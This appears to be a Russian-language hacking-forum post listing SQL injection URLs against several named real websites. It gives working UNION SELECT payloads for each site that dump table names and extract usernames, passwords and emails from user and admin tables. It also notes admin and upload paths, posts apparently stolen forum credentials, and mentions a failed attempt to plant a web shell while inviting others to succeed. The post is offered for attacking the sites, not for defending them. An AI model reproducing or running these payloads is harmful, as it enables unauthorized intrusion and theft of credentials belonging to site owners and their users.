Radioas.ro -
PR 4
http://www.radioas.ro/index.php?id=-1'+union+select+unhex(hex(concat_ws(0x3a,table_nam e,table_schema,version())))+from+information_schem a.tables/*
5 ветка.. таблы и phpbb ))
http://www.radioas.ro/index.php?id=-1'+union+select+unhex(hex(concat_ws(0x3a,username, user_password)))+from+phpbb_users+limit+1,1/*
получайем доступ к форуму: /forum
radioasforum;
pswd13
пытался залить шелл... но неудача, навреника нету прав на запись аватарок (
если кто что зальет пишите..)
Yelli.co.il -
PR 4
http://www.yelli.co.il/index2.php?id=7&lang=eng&catId=1&productId=-1+union+select+concat_ws(0x3a,table_name,version() )+from+information_schema.tables/*
5 ветка, вывод таблиц в сорсе..
http://www.yelli.co.il/index2.php?id=7&lang=eng&catId=1&productId=-1+union+select+concat_ws(0x3a,username,password,ve rsion())+from+clubMembers+limit+5,1/*
мемберы..
Surcon.ru -
PR 4
http://www.surcon.ru/maps/articles.php?id=-1+union+select+1,2,3,4,table_name,6,7,8+from+infor mation_schema.tables+limit+39,1/*
5 ветка и таблы..
http://www.surcon.ru/maps/articles.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,passwo rd),6,7,8+from+users/*
Teamcalendars.co.uk
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +table_name+from+information_schema.tables+limit+1 8,1/*
5 ветка, таблы.
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +concat_ws(0x3a,username,password)+from+admin/*
/admin
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +concat_ws(0x3a,email,password)+from+users/*
/index.php?p=Upload
Stars.com.ua
http://stars.com.ua/models/_show_whole_kasting.php?page=2&id=-41+union+select+1,2,version(),4,5/*